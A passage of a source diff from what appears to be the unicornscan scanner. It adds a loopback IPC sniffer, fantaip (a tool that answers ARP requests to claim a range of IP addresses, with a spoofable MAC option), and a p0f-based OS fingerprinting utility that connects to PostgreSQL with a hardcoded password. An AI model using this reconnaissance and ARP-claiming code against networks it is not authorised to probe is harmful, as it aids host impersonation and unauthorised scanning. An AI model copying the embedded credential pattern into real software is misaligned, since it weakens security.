$(DESTDIR)/$(bindir)/unicfgtst + +uninstall: + $(LIBTOOL) --mode=uninstall rm -f $(DESTDIR)/$(bindir)/fantaip + $(LIBTOOL) --mode=uninstall rm -f $(DESTDIR)/$(bindir)/unibrow + $(LIBTOOL) --mode=uninstall rm -f $(DESTDIR)/$(bindir)/unicfgtst diff --git a/src/tools/attic/unicycle.c b/src/tools/attic/unicycle.c new file mode 100644 index 0000000..407ff9e --- /dev/null +++ b/src/tools/attic/unicycle.c @@ -0,0 +1,241 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#define FILTER "host 127.0.0.1 and (port 12321 or port 12322 or port 12323) and tcp" + +int ident; +const char *ident_name_ptr; +settings_t *s=NULL; +static int header_len=0; +static int verbose=0; + +void process_packet(uint8_t *, const struct pcap_pkthdr *, const uint8_t *); + +static struct connection { + char *name; + int sport; + int dport; +} conns[MAX_CONNS]; + +int main(int argc, char ** argv) { + char errbuf[PCAP_ERRBUF_SIZE], pfilter[2048]; + pcap_t *pdev=NULL; + bpf_u_int32 mask=0, net=0; + struct bpf_program filter; + + ident=IDENT_ANY; + ident_name_ptr=IDENT_ANY_NAME; + + memset(&conns, 0, sizeof(conns)); + + s=(settings_t *)xmalloc(sizeof(settings_t)); + memset(s, 0, sizeof(settings_t)); + s->vi=(interface_info_t **)xmalloc(sizeof(interface_info_t *)); + s->vi[0]=(interface_info_t *)xmalloc(sizeof(interface_info_t)); + memset(s->vi, 0, sizeof(interface_info_t)); + s->ss=(scan_settings_t *)xmalloc(sizeof(scan_settings_t)); + memset(s->ss, 0, sizeof(scan_settings_t)); + s->verbose=3; + + s->_stdout=stdout; + s->_stderr=stderr; + + if (argc == 2) { + if (strcmp(argv[1], "-v") == 0) { + verbose=1; + } + else { + printf("%s: Sniff loopback device and decode ipc messages\n", argv[0]); + exit(0); + } + } + + memset(errbuf, 0, sizeof(errbuf)); + + snprintf(pfilter, sizeof(pfilter) -1, "%s", FILTER); + + pcap_lookupnet("lo", &net, &mask, errbuf); + + pdev=pcap_open_live("lo", 16436, 1, 0, errbuf); + if (pdev == NULL) { + ERR("error: %s", errbuf); + exit(1); + } + + if ((header_len=util_getheadersize(pdev, errbuf)) < 0) { + ERR("error getting header length: %s", errbuf); + exit(1); + } + + pcap_compile(pdev, &filter, pfilter, 0, net); + pcap_setfilter(pdev, &filter); + + if (util_preparepcap(pdev, errbuf) < 0) { + ERR("error putting pcap fd into immediate mode: %s", errbuf); + exit(1); + } + + pcap_loop(pdev, 0, &process_packet, NULL); + + exit(0); +} + +void process_packet(uint8_t *user, const struct pcap_pkthdr *phdr, const uint8_t *packet) { + const struct myiphdr *ip_ptr=NULL; + const struct mytcphdr *tcp_ptr=NULL; + const uint8_t *data=NULL; + size_t hdrlen=0; + int j=0, j1=0; + + if (packet == NULL) return; + + hdrlen=(header_len + sizeof(struct myiphdr) + sizeof(struct mytcphdr)); + + if (phdr->caplen < hdrlen) { + ERR("Short packet at %d bytes", phdr->caplen); + return; + } + + ip_ptr=(const struct myiphdr *)(packet + header_len); + tcp_ptr=(const struct mytcphdr *)(packet + header_len + sizeof(struct myiphdr)); + + if (phdr->caplen > (header_len + sizeof(struct myiphdr) + (4 * tcp_ptr->doff))) { + data=(const uint8_t *)(packet + header_len + sizeof(struct myiphdr) + (4 * tcp_ptr->doff)); + } + else { + data=NULL; + } + + VRB(0, "caplen %d datalen %d " + "sport %d dport %d doff %d" + "seq %08x ackseq %08x " + "window %u checksum %04x urg_ptr %d\n", + phdr->caplen, (phdr->caplen - (header_len + sizeof(struct myiphdr) + (4 * tcp_ptr->doff))), + ntohs(tcp_ptr->source), ntohs(tcp_ptr->dest), tcp_ptr->doff, + tcp_ptr->seq, tcp_ptr->ack_seq, tcp_ptr->window, tcp_ptr->check, + tcp_ptr->urg_ptr); + + for (j=0; j < MAX_CONNS ; j++) { + if (conns[j].sport == ntohs(tcp_ptr->source) && conns[j].dport == ntohs(tcp_ptr->dest)) { + break; + } + if (conns[j].sport == 0) { + conns[j].sport=ntohs(tcp_ptr->source); + conns[j].dport=ntohs(tcp_ptr->dest); + + if (conns[j].sport > 7999 && conns[j].sport < 8006) { + conns[j].name=xstrdup("Master To Drone"); + } + else if (conns[j].sport > 12320 && conns[j].sport < 12324) { + conns[j].name=xstrdup("Drone To Master"); + } + else { + conns[j].name=xstrdup("Unknown"); + } + break; + } + } + + + if (data) { + union { + const ipc_msghdr_t *msg; + const uint8_t *ptr; + } mm_u; + union { + const uint8_t *ptr; + const void *vp; + listener_info_t *l; + } md_u; + + mm_u.ptr=data; + + if (mm_u.msg->header != 0xf0f1f2f3) { + ERR("BAD IPC PACKET, magic header wrong"); + return; + } + + if (mm_u.msg->type == MSG_IDENTLISTENER) { + if (conns[j].name) xfree(conns[j].name); + conns[j].name=xstrdup("LISTENER To Master"); + for (j1=0 ; j1 < MAX_CONNS ; j1++) { + if (conns[j1].dport == conns[j].sport && conns[j1].sport == conns[j].dport) { + if (conns[j1].name) xfree(conns[j1].name); + conns[j1].name=xstrdup("Master to LISTENER"); + } + } + } + else if (mm_u.msg->type == MSG_IDENTSENDER) { + if (conns[j].name) xfree(conns[j].name); + conns[j].name=xstrdup("SENDER To Master"); + for (j1=0 ; j1 < MAX_CONNS ; j1++) { + if (conns[j1].dport == conns[j].sport && conns[j1].sport == conns[j].dport) { + if (conns[j1].name) xfree(conns[j1].name); + conns[j1].name=xstrdup("Master to SENDER"); + } + } + } + + MSG(M_INFO, "{%s}\tMessagetype %s status %d len %d", (conns[j].name == NULL ? "Unknown" : conns[j].name), strmsgtype(mm_u.msg->type), mm_u.msg->status, mm_u.msg->len); + + if (mm_u.msg->len > 0) { + struct in_addr ia1; + + if (mm_u.msg->len != (phdr->caplen - (header_len + sizeof(struct myiphdr) + (4 * tcp_ptr->doff) + sizeof(ipc_msghdr_t)))) { + MSG(M_ERR, "BAD IPC PACKET!"); + return; + } + md_u.ptr=data + sizeof(ipc_msghdr_t); + + switch (mm_u.msg->type) { + case MSG_WORKUNIT: + MSG(M_OUT, "WORKUNIT: `%s'", strworkunit(md_u.vp, (size_t )mm_u.msg->len)); + break; + case MSG_READY: + if (mm_u.msg->len == sizeof(listener_info_t)) { + ia1.s_addr=md_u.l->myaddr; + MSG(M_OUT, "Ready with IP %s HWADDR %s MTU %u", inet_ntoa(ia1), decode_6mac(md_u.l->hwaddr), md_u.l->mtu); + } + else { + MSG(M_OUT, "Unknown ready infomation"); + } + default: + break; + } + } + } + return; +} diff --git a/src/tools/fantaip.c b/src/tools/fantaip.c new file mode 100644 index 0000000..243a642 --- /dev/null +++ b/src/tools/fantaip.c @@ -0,0 +1,532 @@ +/* + * AUTHOR: kiki, Wanta Fanta? ( gh0st ) + * "Yo man, i thought you was black!" + * + * this is GPL like the rest + */ +#include + +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include + +#include + +struct myetheraddr { + uint8_t octet[THE_ONLY_SUPPORTED_HWADDR_LEN]; +}; + +struct _PACKED_ arp_packet { + uint16_t hw_type; + uint16_t protocol; + uint8_t hwsize; + uint8_t protosize; + uint16_t opcode; + uint8_t smac[THE_ONLY_SUPPORTED_HWADDR_LEN]; + uint32_t sip; + uint8_t dmac[THE_ONLY_SUPPORTED_HWADDR_LEN]; + uint32_t dip; +}; + +struct { + struct myetheraddr shwaddr; + uint32_t saddr; + uint32_t oaddr; + uint32_t saddr_mask; + uint8_t cidr; + eth_t *e; + char *device; + int addr_cleared; +} bob; + +static int send_arp(struct myetheraddr *, uint32_t); +static void process_packet(uint8_t *, const struct pcap_pkthdr *, const uint8_t *); +static void usage(void) _NORETURN_; +static void do_daemon(void); + +settings_t *s=NULL; + +const char *ident_name_ptr="Fnta"; +int ident=0; + +#ifdef HAVE_PCAP_SET_NONBLOCK +static int broadcast_arp(uint16_t, uint32_t); + +static int breakloop=0; + +static void alarm_hndlr(int signo) { + + breakloop=1; + + return; +} + +static int broadcast_arp(uint16_t type, uint32_t addr) { + uint8_t broadcast[6]; + const uint8_t *pbuf=NULL; + size_t buf_size=0; + + memset(broadcast, 0xFF, 6); + + makepkt_clear(); + + makepkt_build_ethernet(6, &broadcast[0], (uint8_t *)&bob.shwaddr.octet[0], ETHERTYPE_ARP); + + makepkt_build_arp( + ARPHRD_ETHER, /* ethernet */ + ETHERTYPE_IP, /* proto for addr res */ + 6, /* hardware addr len */ + 4, /* proto addr len */ + type, /* arp type */ + (uint8_t *)&bob.shwaddr.octet[0], /* source */ + (uint8_t *)&addr, /* ip src */ + &broadcast[0], /* dst hw */ + (uint8_t *)&bob.saddr); /* src ip */ + + makepkt_getbuf(&buf_size, &pbuf); + + if (buf_size < 1 || pbuf == NULL) { + ERR("makepkt fails, exiting"); + exit(1); + } + + if (eth_send(bob.e, pbuf, buf_size) < 1) { + ERR("eth_send fails, exiting"); + exit(1); + } + + return 1; +} +#endif + +static int send_arp(struct myetheraddr *dst, uint32_t dstip) { + const uint8_t *pbuf=NULL; + size_t buf_size=0; + + VRB(1, "sending ARP resp to: %s", decode_6mac((const uint8_t *)&dst->octet[0])); + + makepkt_clear(); + + makepkt_build_ethernet(6, + (uint8_t *)&dst->octet[0], /* dest host hw addr */ + (uint8_t *)&bob.shwaddr.octet[0], /* dest host src addr */ + ETHERTYPE_ARP); /* ethernet, arp */ + + makepkt_build_arp( + ARPHRD_ETHER, /* ethernet follows */ + ETHERTYPE_IP, /* proto for addr res */ + 6, /* hardware addr len */ + 4, /* proto addr len */ + ARPOP_REPLY, /* duh */ + (uint8_t *)&bob.shwaddr.octet[0], /* source */ + (uint8_t *)&bob.saddr, /* ip src */ + (uint8_t *)&dst->octet[0], /* dst hw */ + (uint8_t *)&dstip); /* dst ip */ + + makepkt_getbuf(&buf_size, &pbuf); + + if (buf_size < 1 || pbuf == NULL) { + ERR("makepkt fails, exiting"); + exit(1); + } + + if (eth_send(bob.e, pbuf, buf_size) < 1) { + ERR("eth_send fails, exiting"); + exit(1); + } + + return 1; +} + +#define FILTER "arp" + +int main(int argc, char ** argv) { + char errors[PCAP_ERRBUF_SIZE], pfilter[2048]; + char *hwaddr=NULL, *myip=NULL; + struct ifreq ifr; + bpf_u_int32 mask=0, net=0; + struct bpf_program filter; + pcap_t *pdev=NULL; + int opt=0, detach=0; +#ifdef HAVE_PCAP_SET_NONBLOCK + int tries=0; +#endif + + s=(settings_t *)xmalloc(sizeof(settings_t)); + + s->_stdout=stdout; + s->_stderr=stderr; + + memset(&ifr, 0, sizeof(ifr)); + + while ((opt=getopt(argc, argv, "i:hH:dv")) != -1) { + switch (opt) { + case 'h': + usage(); + break; + case 'i': + bob.device=xstrdup(optarg); + break; + case 'H': + hwaddr=xstrdup(optarg); + break; + case 'd': + detach=1; + break; + case 'v': + s->verbose++; + break; + default: + usage(); + break; + } + } + + if (optind < argc) { + char *mptr=NULL; + struct in_addr ia; + + myip=xstrdup(argv[optind]); + if ((mptr=strrchr(myip, '/')) != NULL && strlen(mptr) > 1) { + int i=0; + + *mptr='\0'; mptr++; + bob.cidr=(uint8_t )(atoi(mptr) & 255); + + for (; i < bob.cidr; i++) { + bob.saddr_mask=(bob.saddr_mask >> 1) | 0x80000000; + } + } + else { + bob.saddr_mask=0xFFFFFFFF; + bob.cidr=32; + } + if (inet_aton(myip, &ia) == 0) { + ERR("illegal IP address `%s'", myip); + exit(1); + } + ia.s_addr &= htonl(bob.saddr_mask); + xfree(myip); + myip=xstrdup(inet_ntoa(ia)); + bob.oaddr=bob.saddr=ia.s_addr; + } + + if (bob.saddr_mask != 0xffffffff) { + uint8_t *p=NULL; + uint32_t lmask=0; + char highip[64]; + struct in_addr hi; + + lmask=ntohl(bob.saddr_mask); + p=(uint8_t *)&lmask; + hi.s_addr=bob.saddr | ~ntohl(bob.saddr_mask); + + sprintf(highip, "%s", inet_ntoa(hi)); + + VRB(1, "using addresses `%s->%s/%u' (netmask %u.%u.%u.%u)", myip, highip, bob.cidr, *(p), *(p + 1), *(p + 2), *(p + 3)); + } + else { + VRB(1, "using address `%s'", myip); + } + + if (myip == NULL) { + ERR("IP address is required"); + usage(); + } + + if (bob.device == NULL) { + ERR("interface argument is required"); + exit(1); + } + + + bob.e=eth_open(bob.device); + if (bob.e == NULL) { + ERR("cant open ethernet link: %s", strerror(errno)); + exit(1); + } + + if (hwaddr != NULL) { + uint32_t hws[6]; + uint8_t hwaddrs[6]; + + if (sscanf(hwaddr, "%x:%x:%x:%x:%x:%x", &hws[0], &hws[1], &hws[2], &hws[3], &hws[4], &hws[5]) != 6) { + ERR("bad hardware address, use XX:XX:XX:XX:XX:XX, not `%s'", hwaddr); + exit(1); + } + if (hws[0] > 255 || hws[1] > 255 || hws[2] > 255 || hws[3] > 255 || hws[4] > 255 || hws[5] > 255) { + ERR("no, thats not really going to work, sorry"); + exit(1); + } + + hwaddrs[0]=(uint8_t)hws[0]; + hwaddrs[1]=(uint8_t)hws[1]; + hwaddrs[2]=(uint8_t)hws[2]; + hwaddrs[3]=(uint8_t)hws[3]; + hwaddrs[4]=(uint8_t)hws[4]; + hwaddrs[5]=(uint8_t)hws[5]; + + VRB(0, "using hardware address %x:%x:%x:%x:%x:%x", hwaddrs[0], hwaddrs[1], hwaddrs[2], hwaddrs[3], hwaddrs[4], hwaddrs[5]); + memcpy((void *)&bob.shwaddr, (void *)&hwaddrs[0], 6); + } + + else if (eth_get(bob.e, (eth_addr_t *)&bob.shwaddr) < 0) { + ERR("cant get hardware address: %s", strerror(errno)); + exit(1); + } + + snprintf(pfilter, sizeof(pfilter) -1, FILTER); + (void )pcap_lookupnet(bob.device, &net, &mask, errors); + + pdev=pcap_open_live(bob.device, 500, 1, -1, errors); + if (pdev == NULL) { + ERR("cant open up interface `%s': %s", bob.device, errors); + exit(1); + } + + if (util_getheadersize(pdev, errors) != 14) { + ERR("you SURE this is an ethernet interface? doesnt look like one"); + pcap_close(pdev); + exit(1); + } + + if (util_preparepcap(pdev, errors) < 0) { + ERR("cant prepare bpf socket: %s", strerror(errno)); + pcap_close(pdev); + exit(1); + } + + if (pcap_compile(pdev, &filter, pfilter, 0, net) < 0) { + ERR("cant compile pcap filter `%s'", pfilter); + pcap_close(pdev); + exit(1); + } + + if (pcap_setfilter(pdev, &filter) < 0) { + ERR("cant set pcap filter"); + pcap_close(pdev); + exit(1); + } + +#ifdef HAVE_PCAP_SET_NONBLOCK + /* look for dups */ + if (pcap_setnonblock(pdev, 1, errors) < 0) { + ERR("can't set pcap dev nonblocking: %s", errors); + exit(1); + } + + signal(SIGALRM, &alarm_hndlr); + + do { + for (bob.addr_cleared=0, tries=0; bob.addr_cleared == 0 && tries < 3; tries++) { + VRB(2, "testing `%s'", inet_ntoa(*((struct in_addr *)&bob.saddr))); + /* lets be sure about this */ + broadcast_arp(ARPOP_REQUEST, 0xFFFFFFFF); + broadcast_arp(ARPOP_REQUEST, 0x00000000); + broadcast_arp(ARPOP_REQUEST, bob.saddr); + + alarm(1); + + for (breakloop=0, bob.addr_cleared=0 ; breakloop == 0 && bob.addr_cleared == 0; ) { + pcap_dispatch(pdev, -1, process_packet, NULL); + usleep(10000); + } + + alarm(0); + } + + alarm(0); + + if (bob.addr_cleared == -1) { + ERR("error: Address already in use"); + pcap_close(pdev); + eth_close(bob.e); + exit(1); + } + + bob.saddr += htonl(1); + if (1) { + uint32_t max, cur, lmask; + + lmask=ntohl(bob.saddr_mask); + max=ntohl(bob.oaddr | ~lmask); + cur=ntohl(bob.saddr); + if (cur == 0xffffffff || cur > max) { + bob.addr_cleared=1; + break; + } + } + } while (1); + + signal(SIGALRM, SIG_DFL); + +#else +# warning no pcap_setnonblock +#endif /* pcap_setnonblock */ + + if (detach) { + VRB(1, "going into background"); + + s->verbose=0; + s->debugmask=0; + + do_daemon(); + } + + bob.saddr=bob.oaddr; + + VRB(0, "arping for %s/%u [%s]", inet_ntoa(*((const struct in_addr *)&bob.saddr)), bob.cidr, decode_6mac((const uint8_t *)&bob.shwaddr.octet[0])); + +#ifdef HAVE_PCAP_SET_NONBLOCK + /* ok block now */ + if (pcap_setnonblock(pdev, 0, errors) < 0) { + ERR("cant set pcap dev nonblocking: %s", errors); + pcap_close(pdev); + eth_close(bob.e); + exit(1); + } +#endif + + for (;;) { + if (pcap_dispatch(pdev, -1, process_packet, NULL) == 0) { + usleep(1000); + } + } + + eth_close(bob.e); + pcap_close(pdev); + + exit(0); +} + +void process_packet(uint8_t *user, const struct pcap_pkthdr *phdr, const uint8_t *packet) { + const struct ether_header *ehdr_ptr=NULL; + const struct arp_packet *ap=NULL; + + if (phdr->caplen != phdr->len || phdr->caplen < sizeof(struct ether_header)) { + ERR("bad length"); + return; + } + + ehdr_ptr=(const struct ether_header *)packet; + + if (ntohs(ehdr_ptr->ether_type) != ETHERTYPE_ARP) { + ERR("NON ETHERNET ARP"); + return; + } + ap=(const struct arp_packet *)(packet + sizeof(struct ether_header)); + if (phdr->caplen < (sizeof(struct ether_header) + sizeof(struct arp_packet))) { + ERR("short packet!!!!"); + return; + } + + DBG(M_PKT, "got packet hw type %u proto %x hwsize %x protosize %x", ntohs(ap->hw_type), ntohs(ap->protocol), ap->hwsize, ap->protosize); + + /* ethernet -> ip -> hwsize = 6 and ip size = 4 */ + if (ntohs(ap->hw_type) == 1 && ntohs(ap->protocol) == 0x800 && ap->hwsize == 6 && ap->protosize == 4) { + char src[17], dst[17]; + char tmphw[32]; + + switch (ntohs(ap->opcode)) { + case 1: + /* arp request */ + if (s->verbose > 2) { + char rbuf[256]; + + snprintf(tmphw, sizeof(tmphw) -1, "%s", decode_6mac(ap->smac)); + snprintf(rbuf, sizeof(rbuf) -1, "Arp Request: Source Mac: %s Dest Mac: %s", + tmphw, decode_6mac(ap->dmac)); + /* hide the children, they will cry if they see this */ + snprintf(src, sizeof(src) -1, "%s", inet_ntoa(*((const struct in_addr *)&ap->sip))); + snprintf(dst, sizeof(dst) -1, "%s", inet_ntoa(*((const struct in_addr *)&ap->dip))); + DBG(M_PKT, "%s [ %s -> %s ]", rbuf, src, dst); + } + + if (bob.addr_cleared) { + uint32_t min, max, req; + + min=ntohl(bob.saddr); + max=ntohl(bob.saddr) | ~(bob.saddr_mask); + req=ntohl(ap->dip); + + if (min <= req && req <= max) { + struct myetheraddr sea; + + memset(&sea, 0, sizeof(sea)); + memcpy(&(sea.octet[0]), &ap->smac[0], 6); + + bob.saddr=htonl(req); + send_arp((struct myetheraddr *)&sea, ap->sip); + bob.saddr=bob.oaddr; + } + } + break; + case 2: /* reply */ + if (s->verbose > 2) { + char rbuf[256]; + + snprintf(tmphw, sizeof(tmphw) -1, "%s", decode_6mac(ap->smac)); + snprintf(rbuf, sizeof(rbuf) -1, "Arp Reply: Source Mac: %s Dest Mac: %s", + tmphw, decode_6mac(ap->dmac)); + /* hide the children, they will cry if they see this */ + snprintf(src, sizeof(src) -1, "%s", inet_ntoa(*((const struct in_addr *)&ap->sip))); + snprintf(dst, sizeof(dst) -1, "%s", inet_ntoa(*((const struct in_addr *)&ap->dip))); + DBG(M_PKT, "%s [ %s -> %s ]", rbuf, src, dst); + } + + if (bob.addr_cleared == 0 && ap->sip == bob.saddr) { + bob.addr_cleared=-1; + } + break; + default: + break; + } + } + + return; +} + +void do_daemon(void) { + pid_t child=0; + + child=fork(); + if (child < 0) { + ERR("cant fork: %s", strerror(errno)); + exit(1); + } + else if (child == 0) { + setsid(); + chdir("/"); + umask(777); + freopen("/dev/null", "r", stdin); + freopen("/dev/null", "w", stdout); + freopen("/dev/null", "w", stderr); + + return; + } + else { + exit(0); + } +} + +void usage(void) { + OUT("FantaIP by Kiki\nUsage: fantaip (options) IP\n" + "\t-d\t\tDetach from terminal and daemonize\n" + "\t-H\t\tHardware address like XX:XX:XX:XX:XX:XX (otherwise use nics hwaddr)\n" + "\t-h\t\thelp\n" + "\t-i\t\t*interface\n" + "\t-v\t\tverbose operation\n" + "*: Argument required\n" + "Example: fantaip -i eth0 192.168.1.7"); + + exit(0); +} diff --git a/src/tools/fpdb.c b/src/tools/fpdb.c new file mode 100644 index 0000000..65795d8 --- /dev/null +++ b/src/tools/fpdb.c @@ -0,0 +1,251 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + + +#include "p0f/p0fexport.h" + +#include + +#define ISSYNACK 1 +#define ISRSTACK 2 + +static void startit(void); +static void dump_packet(void *, size_t ); + +settings_t *s=NULL; +const char *ident_name_ptr="Fpdb"; + +static PGconn *pgconn=NULL; +static PGresult *pgres=NULL; +static ExecStatusType pgret; + +int ident=0; +void *r_queue=NULL, *p_queue=NULL; +pcap_dumper_t *pdump=NULL; + +int main(int argc, char **argv) { + char connstr[1024], host[128]; + char *packet=NULL, *iprptid=NULL; + union { + unsigned char *pdata; + uint16_t *plen; + } p_u; + size_t pdata_len=0, pl_ret=0, j1=0; + int j=0, rows=0, plen=0, pkt=0, pmode=0, layerfp=0, good=0; + packetlayers_t pl[8]; + struct in_addr ia; + + startit(); + + SET_SNIFF(1); + + set_fuzzy(); + set_ackmode(); + pmode=ISSYNACK; + load_config(); + + strcpy(connstr, "user=scan password=scanit! dbname=scan"); + + pgconn=PQconnectdb(connstr); + if (pgconn == NULL || PQstatus(pgconn) != CONNECTION_OK) { + ERR("PostgreSQL connection fails: %s", + pgconn == NULL ? "unknown" : PQerrorMessage(pgconn) + ); + exit(1); + } + + pgres=PQexec(pgconn, "select ipreport_id, packet from uni_ippackets;"); + pgret=PQresultStatus(pgres); + if (pgret != PGRES_TUPLES_OK) { + ERR("PostgreSQL scan insert id returned a strange return code %s: %s", PQresStatus(pgret), PQresultErrorMessage(pgres)); + goto kthnx; + } + + rows=PQntuples(pgres); + + if (rows == 0) { + goto kthnx; + } + + assert(rows > -1); + + for (j=0; j < rows; j++) { + packet=PQgetvalue(pgres, j, 1); + if (packet == NULL) { + continue; + } + + plen=PQgetlength(pgres, j, 1); + if (plen < 1) { + continue; + } + + iprptid=PQgetvalue(pgres, j, 0); + if (iprptid == NULL) { + continue; + } + + /* + * printf("row %d ipreport_id %s packet %s length %d\n", j, iprptid, packet, plen); + */ + + p_u.pdata=PQunescapeBytea(packet, &pdata_len); + + if (p_u.pdata == NULL || pdata_len < sizeof(uint16_t)) { + continue; + } + + assert(*p_u.plen == pdata_len); + + p_u.plen++; + + /* + * hexdump(p_u.pdata, pdata_len - sizeof(uint16_t)); + */ + + memset(&pl[0], 0, sizeof(pl)); + + pl_ret=packet_slice(p_u.pdata, pdata_len, &pl[0], sizeof(pl), PKLTYPE_IP); + + ia.s_addr=0; + for (j1=0, good=0; j1 < pl_ret; j1++) { + if (pl[j1].type == PKLTYPE_IP) { + union { + const struct myiphdr *i; + const uint8_t *p; + } i_u; + + i_u.p=pl[j1].ptr; + assert(pl[j1].len >= sizeof(struct myiphdr)); + ia.s_addr=i_u.i->saddr; + + memset(host, 0, sizeof(host)); + strncpy(host, inet_ntoa(ia), sizeof(host) -1); + good++; + } + else if (pl[j1].type == PKLTYPE_TCP) { + union { + const struct mytcphdr *t; + const uint8_t *p; + } t_u; + + t_u.p=pl[j1].ptr; + assert(pl[j1].len >= sizeof(struct mytcphdr)); + + if (t_u.t->syn && t_u.t->ack) { + pkt=ISSYNACK; + } + else if (t_u.t->rst && t_u.t->ack) { + pkt=ISRSTACK; + } + layerfp=(int )j1; + good++; + } + printf("layer %s processed\n", strpklayer(pl[j1].type)); + } + //if (good != 2) { + // dump_packet(p_u.pdata, pdata_len - sizeof(uint16_t)); + //} + + if (pkt == ISSYNACK) { + char *resp=NULL; + + resp=p0f_parse(p_u.pdata, pdata_len - sizeof(uint16_t)); + + if (resp != NULL) { + printf("host %s SYN+ACK resp `%s' at layer %d ipreportid %s\n", host, resp, layerfp, iprptid); + } + } + else if (pkt == ISRSTACK) { + printf("rst+ack\n"); + } +/* +char *p0f_parse(const uint8_t* , uint16_t ); +*/ + + p_u.plen--; + + //PQfreemem(p_u.pdata); + } + +kthnx: + //PQclear(pgres); + //PQfinish(pgconn); + + exit(0); +} + +static void startit(void) { + ident=IDENT_ANY; + ident_name_ptr=IDENT_ANY_NAME; + + s=xmalloc(sizeof(settings_t)); + memset(s, 0, sizeof(settings_t)); + s->vi=(interface_info_t **)xmalloc(sizeof(interface_info_t *)); + s->vi[0]=(interface_info_t *)xmalloc(sizeof(interface_info_t)); + prng_init(); + memset(s->vi[0], 0, sizeof(interface_info_t)); + s->ss=xmalloc(sizeof(scan_settings_t)); + s->_stdout=stdout; + s->_stderr=stderr; + bluescreen_register(); + s->debugmask=0x7fffffff; + + s->verbose=255; + s->ss->mode=MODE_TCPSCAN; + s->ss->header_len=8; + + s->forked=0; + + r_queue=fifo_init(); + p_queue=fifo_init(); + + return; +} + +static void dump_packet(void *pkt, size_t pkt_len) { + struct pcap_pkthdr ph; + uint8_t *dupp=NULL; + + dupp=xmalloc(pkt_len + 8); + memset(dupp, 0, 8); + memcpy(dupp + 8, pkt, pkt_len); + //hexdump(dupp, pkt_len + 8); + + ph.caplen=pkt_len + 8; + ph.len=pkt_len + 8; + + parse_packet(NULL, (const struct pcap_pkthdr *)&ph, dupp); + + return; +} diff --git a/src/tools/p0f/COPYING b/src/tools/p0f/COPYING new file mode 100644 index 0000000..4b97313 --- /dev/null +++ b/src/tools/p0f/COPYING @@ -0,0 +1,498 @@ + + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it becomes +a de-facto standard. To achieve this, non-free programs must be +allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise 